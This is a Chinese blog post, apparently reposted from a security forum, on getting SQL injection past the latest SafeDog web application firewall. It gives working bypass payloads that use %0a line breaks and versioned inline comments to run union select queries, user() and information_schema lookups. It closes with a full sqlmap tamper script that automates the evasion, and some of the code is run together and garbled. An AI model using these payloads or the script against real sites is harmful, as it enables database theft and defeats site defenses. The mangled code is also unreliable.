【干货 | 附脚本】SQL注入bypass最新版安全狗

vlambda
2022-03-15

【干货 | 附脚本】SQL注入bypass最新版安全狗

0x00：前言

安全狗又偷偷摸摸更新了

0x01：绕过

之前安全狗就像没开发完一样，简单内联就过去了，但是现在的安全狗摇身一变，变得稳重了起来。

就连报错界面都变成了大人的模样。

看这架势，不好过啊

【干货 | 附脚本】SQL注入bypass最新版安全狗

首先 and 内敛注释依旧是可以过的，看来安全狗并没有太过关注and，可能是觉得后面的规则比较牛，知道有注入也没用？

【干货 | 附脚本】SQL注入bypass最新版安全狗

然后是order by ，从这里开始，事情就变得微妙了起来

【干货 | 附脚本】SQL注入bypass最新版安全狗

猜测规则是order by 组合强规则，意思就是order by中间无论加什么都过不去

随便试一试

【干货 | 附脚本】SQL注入bypass最新版安全狗

果然，但是有没有发现，我fuzz的符号里没有加＃号，因为加了就会这样

【干货 | 附脚本】SQL注入bypass最新版安全狗

由于锚点这个特殊性，盲猜这是一个突破点

可能安全狗遇到注释也会直接截断掉后面的语句（类似某锁），那就好说了，构造个注释在语句前面即可

【干货 | 附脚本】SQL注入bypass最新版安全狗

居然没过，小看你了安全狗，看来order by规则还没失效，那么尝试隔断order by

中间加个%0a

【干货 | 附脚本】SQL注入bypass最新版安全狗

轻轻松松

接下来是union select 组合

同理，也可以这样过

1' REGEXP "[…%0a%23]" /*!11444union %0a select*/ 1,2,3 --+

【干货 | 附脚本】SQL注入bypass最新版安全狗

下一个是user()这类函数，这里也是个坑，发现直接括号会被拦

【干货 | 附脚本】SQL注入bypass最新版安全狗

去一个右括号就没事了，这规则也是无语

【干货 | 附脚本】SQL注入bypass最新版安全狗

既然如此，在括号里下文章即可

依然是换行加注释绕过

-1'  REGEXP "[…%0a%23]"    /*!11444union %0a select*/ 1,user(%0a /*!80000aaa*/),3 -- +

【干货 | 附脚本】SQL注入bypass最新版安全狗

然后是INFORMATION_SCHEMA 这玩意，居然也被加到了规则里，

【干货 | 附脚本】SQL注入bypass最新版安全狗

没关系，继续构造换行注释，

-1' REGEXP "[…%0a%23]" /*!11444union %0a select*/ 1,(select %0a group_concat(s

chema_name %0a /*80000aaa*/) %0a from %0a /*!11444 /*REGEXP "[…%0a%23]"*/ %0a information_schema.schemata*/),3-- +

0x02：tamper

#!/usr/bin/env python# -*- coding: utf-8 -*-


"""Copyright (c) 2006-2019 sqlmap developers (http:%23 %26%23 %26sqlmap.org%23 %26)See the file 'LICENSE' for copying permissionAuthor:pureqh.top"""
import reimport os
from lib.core.data import kbfrom lib.core.enums import PRIORITYfrom lib.core.common import singleTimeWarnMessagefrom lib.core.enums import DBMS__priority__ = PRIORITY.LOW
def dependencies(): singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
 payload=payload.replace(" "," ",1) payload=payload.replace("ORDER BY","REGEXP "[...%25%23]" /*!11444order %0a by*/") payload=payload.replace("union ALL SELECT","/*!11444union all%0a select*/") payload=payload.replace(" AND","/*!11444AND*/") payload=payload.replace("(SELECT (CASE","(/*!11444SELECT*/ %0a (CASE") payload=payload.replace("UNION SELECT","/*!11444union*/ /*REGEXP "[...%25%23]"*/ %0a select /*REGEXP "[...%25%23]"*/") payload=payload.replace("UNION ALL SELECT","REGEXP "[...%0a%23]" /*!11444union %0a select */ ") payload=payload.replace("()","(%0a /*!80000aaa*/)") payload=payload.replace(" AS","/*!11444AS*/") payload=payload.replace("FROM","/*!11444FROM*/") payload=payload.replace("INFORMATION_SCHEMA","/*like"%0a%23"*/ %0a INFORMATION_SCHEMA") payload=payload.replace("INFORMATION_SCHEMA.TABLES","%0a /*!11444INFORMATION_SCHEMA.TABLES*/")
 return payload

题外话某锁也能这样过
代码已更新至github
https://github.com/pureqh/bypasswaf

转载于https://xz.aliyun.com/t/10479

vlambda博客
学习文章列表